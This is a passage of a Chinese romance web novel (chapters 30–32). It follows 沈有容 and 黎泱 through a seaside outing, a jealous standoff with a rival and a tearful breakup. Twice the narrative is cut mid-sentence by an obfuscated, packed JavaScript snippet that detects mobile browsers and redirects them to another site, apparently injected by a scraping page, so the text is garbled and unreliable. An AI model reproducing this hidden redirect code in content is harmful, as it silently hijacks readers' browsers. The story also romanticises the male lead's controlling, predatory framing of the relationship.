从他的角度,能看见黎泱舌尖的一点粉嫩。 见目的达成,黎泱立刻停下。 实在是没办法了,她才想到了这么个下下策。沈有容要是这么一直不开口,黎泱真不知道该怎么办。 “我就是想说刚才咬你不是有意的......” “黎泱。” 听到沈有容叫了自己的名字,黎泱抬头不解看向他。 “嗯?” 沈有容喉头微动,用尽自制力才克制住心底的欲念。 现在还不是时候,至少不能是今晚。他不想给黎泱留下一个糟糕的印象。 不能再继续留在这里。沈有容垂下眼帘,遮住眼底的波涛汹涌,攥紧了指关节,声音恢复了一贯的平静:“没什么。睡觉吧,晚安。” 他说完这句话,立刻转身离开不再看黎泱一眼,背影甚至有几分狼狈。 回到房间后,沈有容径直走进浴室。在脱衣服的时候才从镜子中看清了脖子上那个牙印。 位置不偏不倚,刚好超过了衣领能遮挡的范围。 “......还真会挑地方。” 30. 不夜30 30 黎泱被小梅叫醒的时候,刚从一场旖旎的梦境中脱身。 做了一夜乱七八糟的梦,醒来时脑袋昏沉,不知道的还以为她彻夜未眠干了什么事。 太糟糕了,她想。 难道真的是日有所思夜有所梦?昨晚睡前最后一个接触的是沈有容,就出现在了梦里。 “黎小姐,沈先生在楼下等你。” 沈有容大清早是有什么事找她?难不成又是算昨晚的账? 黎泱下楼,刚好看见他在客厅侧身打着电话。不是工作日,沈有容身上穿的也不是往日里休闲的衣服风格。内搭是件高领毛衣,外面则套了件黑色的冲锋衣。 他握着手机的那双手很有骨感,匀称修长透着力量。不知道电话那头说了什么,沈有容低头,好像在思考。 随着他垂头的动作,颈部的线条跟着在变动。但高领毛衣完全包裹住脖子,没有露出一点皮肤。 ——嘶。 果然梦境和现实是截然相反的。 似乎是察觉到了黎泱的视线,沈有容朝她的方向瞥了一眼。伸手,食指和中指并在一起,对她招了招。 这是......让她过去的意思? 黎泱刚往下迈了两步,看到一道影子从自己面前飞快略过——原来是happy,它兴奋地跑到了沈有容的脚步。 沈有容弯腰摸了它一下,嘴角有微微翘起的弧度。 所以他刚才招手的对象是happy啊...... 黎泱目光闪过一丝尴尬,慢慢下楼走过去。 “起来了?” 黎泱知道沈有容的电话还没挂,没出声,只是点头算是回应。 “诶,你旁边有人吗?在和谁说话。” 电话的另一方好像发现了什么不得了的事。仔细辨听的话声音还有点耳熟,是谈由。 “嗯,是有人。” 沈有容没遮掩,但也没有再解释的意思。“就先这样,见面了再说。” 挂了电话,他把目光重新转向黎泱,看了眼她今天穿的衣服:羊毛衫和半身裙,不是方便出行的打扮。 “回去换件适合户外行动的衣服。” 黎泱一愣,“要出门吗?” “带happy出去放放风,顺便防止有人要在家里发酵成酸奶了。” 沈有容没有提及一点昨晚的事,表现得风轻云淡。这让黎泱送了口气,但同时心里又有些,难以言喻说不上来的感觉。 她只当全是因为昨晚没有休息好。 黎泱回房间去换衣服,准备从自己的箱子中找件合适的。就在这时,小梅从那间豪华的步入式衣帽间里替她翻出了一套衣服。 她才知道,原来那间巨大的衣帽间内不仅有常服和高定礼裙,除此之外每个具体的活动都搭配有对应的服装。 并且每隔一段时间都有专人整理,让里面的服装永远都是当下最新的款式。 虽然黎泱从住进来那天开始就没有碰过里面的任何一样东西。 她看了眼小梅手中的衣服,是白色运动套装,外面也没有任何logo。确实比她能找到的衣服更合适。 上了车,黎泱才发现只有她和沈有容两人。哦,不对,还带上了happy。 它被放出笼子,因为外出而表现得格外兴奋,在后排转来转去。 黎泱问:“我们要去哪?” “Cindy那天约你出去的地方,鹤咀。”沈有容调好导航,从置物箱中找出墨镜戴上。他拉下黎泱那侧的遮阳板,“路上要一会时间。” 今天是个好晴天。港城的冬天并不冷,只是早晚温度有些低。 黎泱出门的时候将外套拉链拉到最上面,到了车内空调一开,觉得有些热,于是脱下了外套。 她转头看着开车的沈有容,墨镜挡住了他的大半张脸,看不清脸上的神情。 外套没脱,高领毛衣也拉到了下巴处。 他不热吗? 黎泱想到出门前项怀英特地把她拉到一边,小声交代了一句话: “黎小姐,你应该知道少爷有划痕症吧?你们外出的时候还是把药膏也带上吧。” 她疑惑:只是出去一趟,而且沈有容很少让别人接触他,怎么连药膏都要带着了? 黎泱以为是项怀英做事事无巨细,为有备无患做的准备。完全不知道昨晚项怀英发现沈有容半夜下楼找药箱的事。 自然的,也看见了她留下的那枚牙印。 项怀英当时吓了一跳,很久没看到沈有容身上出现这么显眼的痕迹。偏偏沈有容也懒得解释,只上了药,什么都没说。 就在他要回房间的时候,项怀英才犹豫地开了口:“背上不上药了?” 可怜项怀英一把年纪了,还要每天提心吊胆。一边替沈有容打掩护瞒着庄女士,一边还要操心两个年轻人的进展。 听到他的话,沈有容才回过劲,对着项怀英说:“还没到那一步。” 他要等一个时机,把权利交给黎泱。让她主动开口,把她交给他。 就像捕猎,在目标落网前,要给足耐心。 反正,人已经在他身边了,不是么。 黎泱闭眼补了一会觉,醒来的时候已经到了目的地。旁边驾驶位上是空的,happy也在车内。 她解开安全带,拿掉盖在身上的薄毯,穿好外套推开车门下去。 刚出去,迎面而来的海风就给了她一个满怀。空气中都弥漫着海洋的气息,清新,冷冽,湿润。 黎泱视线四周看了看,想找到沈有容的身影。还没找到人,倒是听到有人喊了她的名字。 是沈汀仪,她和几个同学约好趁着周末也来游玩。 都是黎泱上次在学校拍摄时见过的人,林川也在。 “肯定是我哥带你来的,对不对。”沈汀仪多聪明,难怪那天和黎泱告别后,晚上就收到她二哥电话,问她和黎泱聊了什么。 “L小姐,又见面了。” 林川走来和黎泱打了招呼,伸出手要握手。沈汀仪想到那天拍宣传片时沈有容醋成那样,心想这可不能重演。 她打圆场,先一步拉着黎泱说要给她介绍风景,没让手握成。 要是知道她哥和黎泱来,绝对不会让林川一起跟上啊。 “对了,我哥呢,怎么没看到他?” 黎泱摇头:“我从车上醒来时就没看到他。” 话音刚落,她脸颊被一个温热的东西贴住。转头一看,沈有容提着一个纸袋,手里还端着一杯热可可,不知什么时候出现在旁边。 他把热可可递给黎泱,又把纸袋里的燕麦奶给了沈汀仪。 看到这两人一黑一白对应的衣服颜色,沈汀仪在心里啧啧两声感慨。 沈有容状似随口了问:“和同学一起来的?” 后者立刻心领神会,自信道:“放心二哥,我已经私下告诉林川,黎泱姐有男朋友了。” “咳咳......” 黎泱差点呛住,不想被看出异样,别过头去盯着不远处的风景。 在入海的悬崖边上,她看到了一座白色的灯塔建筑。它独立于周围绵延的海岸线和山脊,像是面向大洋远眺的守望者,默默守护着南中国海。 沈有容顺着她的视线看去,在心中了然。 “去看看。” “那我先回去找他们了。”沈汀仪识趣地给两人留下独处空间。 进了鹤咀道以后,剩下的路必须徒步。黎泱第一次来,对所有事物都表现得新奇。小径两侧都掩映在树木下,一路上风景秀美。 “对了,happy呢?” 沈有容将腕边的袖子向上卷起,领口拉链向下拉了点,回答说:“在山下的店里,有人看着它。” 他今天带着黎泱出来是想她放松心情。陪她在沙发上看完《开罗紫玫瑰》的那晚,黎泱情绪低落,让沈有容没有来升起了慌乱。 就好像,两人之间的关系隔着朦胧的雾气,有一种若即若离不真实的感觉。 他如果抓不住,一定会散开。 这种不确定何时会脱离自己掌控范围内的感觉,让沈有容觉得十分不适。 他过去的生活和数学打了很久的交道,笃信数字带给他精准确切的实际感。每一个数字经过演算,精准到小数点后几位,都是沈有容可以预料且切实看得到的。 可遇到黎泱以后,“不确定”这个词在他的生活里比重中逐渐加大,出现的次数越来越多。 理智告诉沈有容,如果放任这样下去,总有一天会出事。 可人又不是精密运转的机器,也会出现被情感占据上风的时刻。 路上人迹稀少,这个季节已经过了最佳游玩的时间,他们一路走来没有遇见任何人。 就好像,此刻在林间,这是只属于他们两个人的世界。 为了迁就黎泱的速度,沈有容放慢了步调,不紧不慢跟在她身后。 黎泱遇到好看的风景会停下用手机去拍。眼睛恢复后,她格外珍惜能看到的一切,弥补过去失去的色彩。 但她不像这个年纪的女孩一样喜欢自拍。相反,她手机里的照片从来没出现过自己。 沈有容停下,在她仰头举着手机拍天空的时候,按下了自己的手机屏幕。 鹤咀山不过三百多米,正常速度走完不到两小时。但他们一路走走停停,到山顶的时候已经是下午。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085678|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沿路出现了多座无线电塔,视线开阔。分岔口处有路牌标志,左转便是去灯塔的路。 海边风大,刚才在路上的跋涉又让身体升温,黎泱想脱掉外套,但在看到沈有容的眼色又打消了念头。 等真正走到灯塔脚下时,她才体会到巨大与渺小。 他们到达的时候,恰好遇到来检修的工作人员,听到了热心的科普。 通体白色的底座都是用石头堆成的,是目前港城内现存的五座战前灯塔之一,今天仍然在使用。 “当屈光镜亮起的时候,投射出去的灯光可以照亮23海里外的海面,给船舶定位,指引他们归港。” 快到日落,夕阳穿过云层,折射出的暖色光线投射在海面上,波光粼粼。 沈有容站在不远处的一块礁石上,朝着入海的那一面。落在黎泱眼中里留下的是一道剪影,他身上渡着一层暖金的光晕。 她心头微动,就这么以灯塔为背景,拍下了沈有容的背影。 在之后的很长一段时间,黎泱都没有忘记这幅画面。 她刚收回手机,沈有容恰好转过身看向她。“回去了?” 黎泱点头,没好意思说出自己刚才偷拍的事。不过,好在沈有容也没发现。 她自然地把手机塞回口袋里,手也想揣进去。结果被沈有容结结实实地牵住,包裹在了他的掌心间。 黎泱眨眼:“沈有容,我不冷。” “我冷。” “......” 冷你刚才还对着海风吹。 她咽下心里的腹诽,把沈有容的手紧紧握住,踏上了下山的路。 身后,风云变动,吹散了海面的平静。 预示着一场暴风雨即将来临。 他们在夜幕降临前回到石澳,和沈汀仪一行人也在那里汇合。 分别了半天的happy见到黎泱,立刻热情地凑上去。沈有容有工作上的事要处理,到外面接了电话。 “你们登上山顶了?风景是不是特别好。早知道我也和你们一起去了。” 沈汀仪来到黎泱的房间,看着她拍的照片发出感慨。不过话虽然是这么说,她到时候还是没胆子打扰她哥二人空间。 她只待了一会,就犯困要回去睡觉了。结果走到半路又想起自己东西没拿,折返回去重新敲了门。 黎泱送走沈汀仪,没过一会又听到了敲门声,以为她是又落了什么东西,随手打开了房门。 “又有什么忘......嗯?林川?” 门外站着的是林川。他看着黎泱欲言又止,有什么话要说。然而还没等他开口,happy先跑出来对他叫了两声。 “happy,乖一点。” 黎泱安抚了它,这才抱歉地对林川:“不好意思,它可能把你当成了陌生人。你找我有什么事吗?” 林川温和地笑笑,表示没有放在心上。“白天见面只来得及和你打个招呼,后面就没有看到你了。” “我去了别的地方。” 闲聊了两句,林川才开口说出目的:“上次原本想和你交换联系方式,但最后因为意外没有成功。这次有机会吗?” 黎泱委婉地回复:“你应该听Cindy说过,我有男朋友。” 她还没忘记,上次沈有容因为吃醋咬破她嘴唇的事。林川可能对她有好感,她必须把话说明。 “我知道。但是L小姐,人是有欣赏美的事物的权利。” 林川看着温温柔柔的一个人,没想到在这件事上竟然这么轴。让黎泱觉得很头疼。 她正绞尽脑汁思考该怎么回复彻底断了林川的念头,又不至于把场面弄的太僵。就在这时,看到走廊上出现了熟悉的身影。 “但现在她的美不属于你。” 沈有容站在黎泱身边,替她回答了林川:“再纠缠下去,就是不识趣了。” 看到这,林川才仿佛意识到了什么。 在操场拍宣传片的时候他就注意到沈有容的目光一直盯着黎泱,但那时黎泱否认两人认识,他也觉得是自己看错了。 可现在,沈有容又出现在了黎泱身边。 而且,是以占有者的姿态。 同样是男性,林川怎么可能没有听出他话里的挑衅和敌对意味。 但林川还是迟疑,觉得不能确信。 沈有容是什么身份,港城顶级豪门出来的贵公子,身边从来没有传出过任何桃色消息。他怎么会和黎泱有关系? 林川抱着最后的念头,缓慢开口问:“你们......” 沈有容当然知道他的话指的是什么。点头,笑得别有深意: “要不你猜猜看,为什么happy不对我叫?” 31. 不夜31 31 从鹤咀回来后,黎泱开始变得忙碌。 她没放弃自考的念头,沈有容让项怀英替她寻了专门的机构和老师,每天外出学习。回到家后,黎泱大半的时间也都待在房里看书,甚至固定陪happy的日程部分都被缩短。 她正以一种如饥似渴的求知态度,想去追回自己失去的五年时间。 如果没有当年的意外,黎泱会进全市最好的高中读书,读一所大学,完成学业。但意外已经发生,即使现在视力恢复,也弥补不了中间空缺的那五年消极怠懈。 黎泱能做的,就是不浪费现在的每一时刻。 “她在房间?” “是,下午回来后还没出来过。” 听完项怀英的回复,刚从外面回到家的沈有容拧了拧眉头。他脱下身上还带着外面冷气的大衣,看到happy趴在笼子里,神情有些无聊看着他。 沈有容打开笼子放它出来,低声说:“还真是喜新厌旧啊,她都不陪你了了。” 他在客厅坐了会,等身上的冷气完全消散。估摸着晚饭时间,上了楼。 黎泱房间门没锁,沈有容不费力地推开,看到桌前伏着一个认真握笔书写的背影。 她太投入,都没听见开门和脚步声。 等到沈有容站在她旁边,伸手拿起一张草稿纸看,黎泱才回神反应过来。 “诶,你回来了?” 临近年末,圣诞和元旦快要到了,公司内堆积了不少的事要处理。沈有容和大哥谈话过后也改变了往日随性的作风,开始着手学习和管理公司的运转。 但他为了每天准时下班回家见黎泱,这段时间都是白天高强度投入工作,就是打算提早处理完年底的事,好在后面空出时间待在家。 结果沈有容发现,黎泱比他还要忙碌。 还要抽不出时间,来多看他一眼。 比如她开始每天至少花八个小时在学习上,沈有容大多见不到黎泱的人影。 比如以往用完晚饭两人会在沙发上挑一部电影,温存地度过一两个小时;但现在黎泱放下碗筷就回到房间,复习她白天学的内容。 比如,黎泱的视线已经很久没有长时间停在他身上了。 比如,黎泱已经一天半的时间没和他接吻了。 比如...... 沈有容脑中蹦出的列举越多,越没有意识到他现在变得有多很幼稚。 就像因为心爱的玩具被抢了的小孩。没理由的,就是想要通过无理取闹,重新引起关注。 他把那张草稿纸放回去,不动声色打量着黎泱。 头发好像更长了些。刘海没有修剪,有些遮住眼帘,更显得眼睛明亮圆润。她脑后的长发用一根发带绑起,披散在肩头,柔顺有光泽。 乖张无害,但眼底也没他。 黎泱没听到沈有容的声音,以为他没有什么事,眼看着视线又要从他身上移开—— 下一秒,沈有容忽然伸手按住了她的后脑勺,欺身压了上去。 “吧嗒”一声,桌上的中性笔滚落下去,掉在了地上。 黎泱瞳孔放大微怔,对这个意外的吻有些猝不及防。 沈有容今天好像更强势,带着不容拒绝的意味。重重压着她的唇瓣,掠夺口腔内的空气。黎泱被吻得发晕,以为要结束的时候,沈有容的手掌沿着她的脊背一路下滑,到腰线的位置。 开始只是隔着一层布料,缓慢地摩挲。但仅仅是这种地步,已经让黎泱觉得敏感发抖。 直到毛衣的下摆被掀起,沈有容带着凉意的手指按在了她的皮肤上,游走。 好像被按下了什么开关,黎泱身体一僵,力道慢慢被卸去。 沈有容今天戴的是枚造型低调的素戒,莫比乌斯环式的波浪线构造。金属制物在冬天的温度更低,更何况是触碰到显少与外界接触的腰部皮肤上。 密密麻麻的酥感在黎泱的身体上蔓延开来,发痒又难耐。 她终于再也支撑不住,手掌抵在沈有容的心口,想要推开他。 察觉到怀里人的举动,沈有容扣住她的手腕,索取了最后一个吻。 黎泱趴在沈有容的肩头调整呼吸,眼眶泛红带着水汽。她真的不明白,为什么每次结束狼狈的那个总是自己? 反观沈有容,甚至连身上的衣服都没有褶皱,脸上的神情也没有动容。 哦,不对。她被亲的时候眼睛被沈有容伸手按住了,看不见他当时的脸。 “该下楼吃饭了。” 黎泱开口提醒沈有容,想让他别再抱得那么紧。 “嗯,知道。我上楼就是来叫你下去的。” “那......你能不能先放开我。” 男人现在才终于有了一点开心的语气: “再抱一会。” “......” 黎泱不说话了,无奈地吹了吹刘海。忽然,她鼻尖好像闻到了什么香味。 她凑近沈有容的衣服闻了闻,确信香味是从他身上发出的。而且,是一股甜腻的,女士香水味。 但黎泱没有用过香水。 沈有容身上一贯出现的也不会这个味道。 是别的女人留下的。 什么时候接触的?怎么接触的?多远距离?和谁? 乱七八糟的疑问一股脑冲进黎泱的思绪里。刚才还旖旎的氛围在她眼里突然变了味。 她心里忽然生出不对味的情绪,很快,就不受控制做出了动作。从沈有容的怀中挣脱,看也不看他,推门走了出去。 还稍微有点小情绪,用力关上了门。 沈有容看着黎泱愤愤离开的背影,还不知道发生了什么。 用晚饭的时候,黎泱也没坐在他对面。两人隔着半个桌面,全程没有任何交谈,气氛安静。 沈有容想看看黎泱的眼睛,她却始终低着头,只留给他一个侧脸。 他默默放下手中的刀叉,端起杯子轻呷一口。 “我吃好了,慢用。” 说完,黎泱推开椅子起身离开。走的时候还是没有看沈有容一眼。 连项怀英也察觉到了两人之间的不对劲。 “黎小姐这是怎么了?看起来有些闷闷不乐。” 沈有容没说话,慢了一步跟在黎泱身后也上了楼。 然而这次,她锁上了房门。 他把先前发生的事在脑海中重新理了一遍,捕捉到黎泱情绪变动是在接吻后发生的事。 那时候,她好像埋首在他的颈间动了动...... 察觉到什么,沈有容目光转向浴室衣篓中自己刚才换下衣服。 白天有场长时间的汇报,有个女主管坐在他旁边。沈有容闻不惯她身上的香水味,后来和人换了位置。 可能就是在那时候,他的衣服上沾染了味道。 所以黎泱闹别扭,也是因为这个? 沈有容眉心忽然舒展,手指一下一下敲在台面上。他点开手机,给黎泱发了条消息。 没发出去。 因为消息后面出现了一个红色感叹号。 他被黎泱拉黑了。 . 黎泱关掉手机,把它搁在桌面上,上床关了灯睡觉。 她把被子拉过头顶,整个人都缩在里面。 闭眼,酝酿睡意,失败,再重新睁开眼。 如此翻来覆去五六遍,她终于泄气地拉下了被子,探出头。 黎泱很想当面去问沈有容,身上的香水是怎么回事。可又害怕最后是她敏感多心,害怕是她小题大做,害怕......会被沈有容用一个理由搪塞过去。 她不得不承认,在这段感情里,自己始终忽略的一点是:她和沈有容的位置不是对等的。 是上位者向低位者倾斜。 这也意味着,对方可以随时抽走给予她的一切,这只是没有确切定量的时间问题。也许兴致高,这段关系会维持地久一点;也许明天早上起来,就什么都没有了。 孟今妍当初警告黎泱,让她看清自己的身份,不要妄图奢想。那时候黎泱告诉她:她知道自己要的是什么,又有什么。 所以她谨小慎微,藏好了自己的感情,时刻谨记,不敢向外透露一丝一毫。害怕一旦被戳破,会失去所有的退路。 黎泱总表现得无所谓,以为自己会骗过所有人和自己。 直到沈有容告诉她:“你觉得我会无聊到让一个陌生人住进自己家里?” 他说:“我们之间扯平不了。” 他说:“我们现在是恋人关系。” 沈有容先一步打碎了那层看似风平浪静的表面,直白、强势,又不容拒绝地宣布了他和黎泱的关系。 “恋人”真的是个很奇妙的词。 比情人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093809|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更正式一点,又离谈婚论嫁、真正在一起的地步还有很远距离。 ——很方便及时止损,不是吗? 黎泱忽然感觉脸颊一凉。 她伸手摸了下,发现是不知道什么时候从眼眶涌出的泪水,而自己毫无察觉。没去管,想着总会自己停下。 其实黎泱知道,总会有那么一天。就像灰姑娘知道魔法会在午夜十二点失灵,所以她提前离开舞会。可黎泱不是灰姑娘,没有水晶鞋,也没有会追她出去的王子。 现实不会变成童话,童话也变不了现实。 她孑然一身地来到港城。比谁都清楚,自己没有试错的资本。 黎泱最后还是伸手擦干了眼泪,硬生生将泪腺揉停下。 她重新盖好被子,闭眼。 等待魔法消失的那天。 第二天早晨,黎泱迟迟没有下楼。以往沈有容会和她一起用完早餐再去公司,但他今天等待许久,都没到她出现。 项怀英在一边观察沈有容的反应,一边看着时间开口提醒:“少爷,再不出发要迟到了。” 沈有容昨晚发现自己被拉黑后,想着黎泱可能还在吃醋生气,于是打算早晨当面和她说清。但黎泱却迟迟没露面,小梅下来说还没有醒。 等晚上回来再说吧,他想。 沈有容坐上车离开。直到车子开出视线,黎泱才从窗前转身。 为了空出后面的假期,沈有容投入在工作中的时间和精力更大。午休时,他从电脑前移开视线,点开了和黎泱的聊天记录。 他试探地发了句话,想问黎泱有没有吃午饭。不出所料,消息还是发不出去。 她这次好像是真的吃醋了。 沈有容觉得自己成了矛盾体,一面想到黎泱是因为在乎他而生气,他似乎应该欣慰和高兴;一面觉得自己很自私,因为黎泱陷入痛苦的原因是出自他。 他想现在就当面告诉黎泱真相,除了她以外,他身边没有任何人。 他眼中只容得下她,也只有她。 沈有容估算了手中剩下的工作量,速度快的话,能够提前完成。在回去的路上他可以绕路去那家新开的据说风评不错的甜品店,给黎泱带一份新出的圣诞限定甜品,不是说女孩子都喜欢甜食。 明晚的平安夜,在维港有场烟花秀。沈有容虽然不敢兴趣,可想着黎泱也许会喜欢,还是让项华英提前订了正对着维港的酒店。他又亲自根据黎泱的口味,挑选了交给主厨的菜单。 真奇怪。他明明过去对这样的节日只有一个时间概念,知道明天是平安夜,后天是圣诞节,然后呢,仅此而已。 像今年这样大费周章为一个节日安排预设活动,放在过去,沈有容绝对不会想到这种事会出现在自己身上。 ——大概是因为现在身边多了一个人,多了一个让自己分神操心和牵挂的黎泱。 这样想着,好像时间也变得快了些。 沈有容关掉电脑,起身走出办公室。今年的圣诞连着周末,从24号一直放到26号。假期前公司内的氛围都很轻松,路过的人和沈有容打了招呼,他微微颔首算是回应。 他给司机和家里的佣人放了假,项怀英也回去陪妻子了。意味着这三天内,家里都是属于他和黎泱的,没人会打扰。 沈有容站在甜品店,面对玻璃柜中各色各样的糕点沉吟片刻,手指一扫,让店员将每种都包了一样。 他颀长的身形高挑,在人群中格外惹眼。虽然戴着墨镜,依然掩饰不了优越的骨相。店内周围站了不少人,好几个姑娘聚在一起咬耳朵,怂恿对方上前。 “肯定是有女朋友的啦,买这么多蛋糕,而且全是女生爱吃的口味。” “好可惜,从背影看就是帅哥啊......” “你有胆子你上去啊,这种气场我可只敢望而生畏。” 沈有容提着一个大袋子,里面装满了花花绿绿样式精美的蛋糕甜点。开到家,他把东西从副驾驶提出,推开大门,刚好在客厅看到了黎泱的身影。 他唇角微翘,眉眼噙着笑意。手指勾着纸袋,绕道走向黎泱,想让她去挑个喜欢的。 沈有容刚站定,还未来得及开口。恰好黎泱也发现了他,抬眼对上他的视线。 她抿了下嘴唇,像下定某种决心。 然后缓慢地,一字一顿说: “沈有容,我们分手吧。” 32. 不夜32 32 纸袋摔在了地上,里面的蛋糕滚落出来,打翻包装,奶油糊成一团。 沈有容睨了一眼地上的东西,没去管,脚步似有千斤重。他眼眉下压,让本来漂亮的狭长眼睛染上了危险的弧度。 他喉头动了动,克制住心底冲动的念头。居高临下站着,身上的投射下的阴影落在了坐在自己面前的黎泱身上。 两个人之间相隔的距离不过短短几米。气氛仿佛降到冰点,安静又窒息,让沈有容甚至能听见黎泱的呼吸声。 趴在笼子里的happy似乎也察觉到了环境的异样,瞪大眼睛不安地看着两位主人。 过了好久,又也许没过多久,沈有容才找回自己的声音: “你刚才说什么?” 黎泱仍然维持着刚才的坐姿,手掌放在膝盖上,如果仔细看的话能发现胳膊在颤抖。她仰着头,脸上明明没有任何表情,可让沈有容觉得那更决绝。 她把刚才的话又重复了一遍,这次语速要更快些。 “我说,我们分手吧。” 黎泱想从沙发上站起来,但是久坐后小腿已经麻木了。她从下午就一直坐在这里等沈有容回来,在心里把要说出的话预演了一遍又一遍。 最后决定还是什么情绪都不要想了,把话说出来。然后......然后离开,让生活重新回到正轨,就这样。 可所谓的正轨又是什么?是她本来就不该和沈有容有任何交集,是这样吗? 离开后呢,就能一切回到正常了吗?那这段时间待在一起的记忆,也能随之消除掉吗...... 黎泱强撑着发麻的小腿,站直身体,深呼吸一口气。偏过头不去看沈有容,缓声开口: “东西我会明早就搬走。至于happy,我想带走它。如果它想留下来的话......” “为什么想分开,理由?” 沈有容打断她,越过一地的狼藉站到黎泱面前。他下颌绷紧,眼眸深沉。表面的理智摇摇欲坠,潜藏在最深的念头要压抑不住。 他固执地重复:“给我一个理由。” “黎泱,昨天是因为有人喷了香水坐在我旁边,我本来打算早晨便和你说清。如果你是因为这件事闹脾气要分手,我可以和你道歉。” 沈有容说出“道歉”两个字的时候,黎泱愣住了。 以他的身份,从来都是被仰望攀附的那一个。竟然有一天也会弯腰,要对别人道歉。 黎泱打住继续往下想的念头,觉得再深究下去没有任何意义。等到明天分开,沈有容依然会是那个高高在上的天之骄子,他的人生怎么样,都和自己没有关系了。 所以,为什么偏要追问理由? 要她怎么把自己的内心解剖,把一个糟糕的她呈现在沈有容面前。 告诉他,因为她太害怕了,害怕她贪心。 她不想靠着一份不知道什么时候会被收回的魔法,寄托所有的念想。甚至贪心地,妄图想把魔法延续下去。 黎泱逃避,抗拒。 “理由重要吗?” “重要。” 沈有容把这两个字说得斩钉截铁,执拗地想透过黎泱的举止找到一点蛛丝马迹。 为什么要分手。 为什么要离开他。 为什么要在他满心欢喜做好所有准备的这一刻,告诉他“这些都没有必要了”。 黎泱鼻腔发酸,沉默没有回答。 想保持着最后的体面,又害怕她一开口,声音会暴露她快要支撑不住的坚定。 过了半响,她听到男人发出一声轻嘲的笑。 “黎泱,你心真狠。” 沈有容话音淬着冷意,是从来没有在黎泱面前显露过的一面。他过去对她可能是随性,漫不经心,戏谑和调笑,又或者带着醋意的幼稚和强势。沈有容总知道怎么拿捏那层分寸和尺度,没对黎泱说过一句狠话。 是不是就因为他过去对她太好了,不设防,才换来今天这一刀? 沈有容心中当然怒意,他甚至有立场说一句“是黎泱太不识趣”。 可他没有。 她不识趣,不聪明,笨拙,傻得可以。却能一阵见血,伤到他最在意的地方,撕去他表面的理智。 他明明可以讽刺地告诉黎泱,她真不识趣。 可他没有。 她真聪明,她真心狠,她真的......就没有爱过他吗。 黎泱听到沈有容说的话,感觉心脏一抽一抽地在痉挛疼痛。鼻腔更酸了,像即将要溃堤的坝口,漫天的洪水要涌出眼眶。 她不要当着沈有容的面失态。 黎泱掐着手心,极力克制颤抖的声带,让自己的嗓音听起来没那么难堪。“是,我狠心。沈有容,你就当我不识趣好了。” 这下是真的惹他生气了吧。 这下是真的对她失望了吧。 贪心的人是没有好下场的。从一开始她就不该有幻想,以为好运终于降临到自己身上。可那终归是假象,是一场会被收回的魔法。 假戏真情,可前提都是假的。 黎泱觉得话说完,用尽了她全部的力气。现在不止是小腿发麻了。全身的神经好像都失控,麻木地动不了,伴随着耳畔嗡嗡的耳鸣。 她不能再留在这里了。也许不能等明天,她最佳的离开时间是今晚。 黎泱刚往前迈了一步,听到沈有容在她身后开了口:“你就想这么一走了之了?” “你还没给我一个理由。黎泱,我只要你亲口讲。” 他要一个确切的理由,要黎泱当面对着他开口说出。如果没有,沈有容宁愿相信她还只是在闹脾气,而不是要从他身边离开。 黎泱觉得自己像被放在火架上灼烧一般在受折磨。理由,理由,为什么沈有容就那么固执地要追问理由?为什么要追着她不放? 别再施舍她了,别再给她念想了,她不想再靠着一个随时会消失的美好魔法度日了。 她终于再也抑制不住,转过身去看着沈有容,咬牙一股脑把所有的话都说出。 “你要理由,好,我说。” “沈有容,遇到你之后我不敢去探究你对我究竟是什么感情。如果你只是觉得有新鲜感,那我会松口气觉得庆幸。因为这样让我知道所有的东西都是假的,让我能心安理得接受,坦然等待你的新鲜感消失,然后我没有亏欠地离开。” 黎泱吸了吸鼻子,用手背抹了下眼角,想让自己看起来没那么狼狈。虽然成效甚微。 “可现在,我就是因为分不清你对我到底是什么感情。你对我很好,太好了。但你从来不在我面前流露一丝一毫新鲜感消退的不耐烦。这样会让我怀疑,”她挤出一个勉强的笑容,笑得心酸。 “会让我觉得,你好像是真的喜欢我。可我根本没有信心去确定,甚至夜深人静的时候我也不敢在心里想。害怕被神明听见,让他们意识到我不配拥有现在的一切,然后收回所有。” “每当我越在乎什么,就失去什么。从小到大,一次又一次,总是这样。” 她的心就像水晶球,美好都装在玻璃里面,是易碎的。 以为晃一晃,落下的雪花就是永久。可是忘了,这都是人为构造出来的。 黎泱心里明白,今天这场冲突的起因绝不是因为昨天的香水。它早晚都会发生,只等一个契机,点醒自己。 她说完了所有想到的话,几近剖白了所有的内心,赤裸站在了沈有容面前。看吧,她就是这么一个狼狈不堪的人,不值得被喜欢和爱。 黎泱不再去看沈有容是什么反应,外套和手机都没去拿,仿佛身后是有什么可怕的洪水猛兽在追赶,不顾一切逃离出去。 冲出房门的那一刻,外面呼啸的冷风刮打在她身上。可黎泱觉得头脑从没有任何一刻像这样清醒过。 沈有容的别墅建在半山,光靠两条腿走下去没那么容易。黎泱冲动离开的时候什么都没拿,身上只穿着单薄的衬衣。她没有要回头的念头,觉得到此为止就是最好的局面。 夜幕早已降临,这片富人住宅区本来就人迹鲜少。临近圣诞,这个点更是没人会在外面。 露在外面的皮肤好像已经被冷风吹得没知觉了,什么都感觉不到。远处高楼间的霓虹灯光闪耀夺目,一个又一个光点跳动,像洋溢着节日要到来的喜悦。 黎泱听着头顶沙沙作响的树叶,低头看到自己的影子在经过一个又一个路灯时,被不断拉长又变短,变短又拉长。 忽然,身后有两束车灯亮起,照亮了黎泱面前的路。 